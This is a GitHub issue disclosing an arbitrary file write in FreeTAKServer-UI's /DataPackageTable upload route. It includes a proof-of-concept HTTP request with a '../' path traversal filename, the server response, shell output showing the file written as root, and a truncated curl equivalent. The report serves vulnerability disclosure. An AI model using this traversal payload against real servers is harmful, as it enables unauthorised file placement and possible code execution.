

[New issue](#)[Jump to bottom](#)

Arbitrary File Write FreeTAKServer-UI (Remote Code Execution) #29

[Open](#)

Securitybits-io opened this issue on Feb 16 · 0 comments

Assignees



Labels

enhancement

Milestone

2.3

Securitybits-io commented on Feb 16

User Interface Datapackage

From the WebUI it is possible to (once logged in) upload DataPackages directly to the server so that it is possible to download the zipped files on the EUD in the field.

The route `/DataPackageTable` takes an argument `?filename=` which is not sanitized for either the Path or the Filename outside of the UI, which creates the issues that you can place any file, anywhere on the system.

Albeit going this route will add some junk XML data into the end of the file, this making it extremely hard to achieve code execution through Python or Flask Templating.

This was achieved using a transparent proxy to catch and modify the webrequest, but can also be achieved using something like [Curl](#)

Proof Of Concept

Request through Burpsuite:

Request

```
Pretty Raw Hex \n
1 POST /DataPackageTable?filename=../../../../../../../../tmp/file.ext&creator=
  HTTP/1.1
2 Host: atak. :19023
3 Content-Length: 216
4 Authorization: Bearer b078 :629
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
6 Content-Type: multipart/form-data;
  boundary=----WebKitFormBoundaryOUUxfHjKyf1Bjjhn
7 Accept: */*
8 Origin: http://atak. :5000
9 Referer: http://atak. :5000/
0 Accept-Encoding: gzip, deflate
1 Accept-Language: en-US,en;q=0.9
2 Connection: close
3
4 ----WebKitFormBoundaryOUUxfHjKyf1Bjjhn
5 Content-Disposition: form-data; name="assetfile"; filename="test.ext"
6 Content-Type: text/plain
7
8 ThisIs FromDataPackageTable
9
0 ----WebKitFormBoundaryOUUxfHjKyf1Bjjhn--
```

Response

```
Pretty Raw Hex Render \n
1 HTTP/1.1 200 OK
2 Content-Type: text/html; charset=utf-8
3 Content-Length: 10
4 Access-Control-Allow-Origin: http://atak.
5 Vary: Origin
6 Date: Tue, 15 Feb 2022 14:25:33 GMT
7 Connection: close
8
9 successful
```

File on system:

```
root@sb-takserver-01:/tmp# ll file.ext
-rw-r--r-- 1 root root 412 Feb 15 14:25 file.ext
root@sb-takserver-01:/tmp# cat file.ext
ThisIs FromDataPackageTable
PK0000sOT{tMANIFEST\manifest.xml<MissionPackageMa
12dbfdbb-54ac-4c6f-90f4-b6894c7b5318" /><Parameter na
```

(Note that the webserver is at that moment run as root, *Not Recommended*)

Bash equivalent PoC:


```
curl -i -s -k -X POST -H 'Host: atak.FreeTAKServer.com:19023' -H 'Authorization: Bearer ValidRestAPI'
```

  brothercorvo assigned dlc-ariel on Sep 6

  brothercorvo added this to the 2.3 milestone on Sep 6

  brothercorvo added the enhancement label on Sep 6

Assignees

 dlc-ariel

Labels

enhancement

Projects

None yet

Milestone

2.3

Development

No branches or pull requests

3 participants

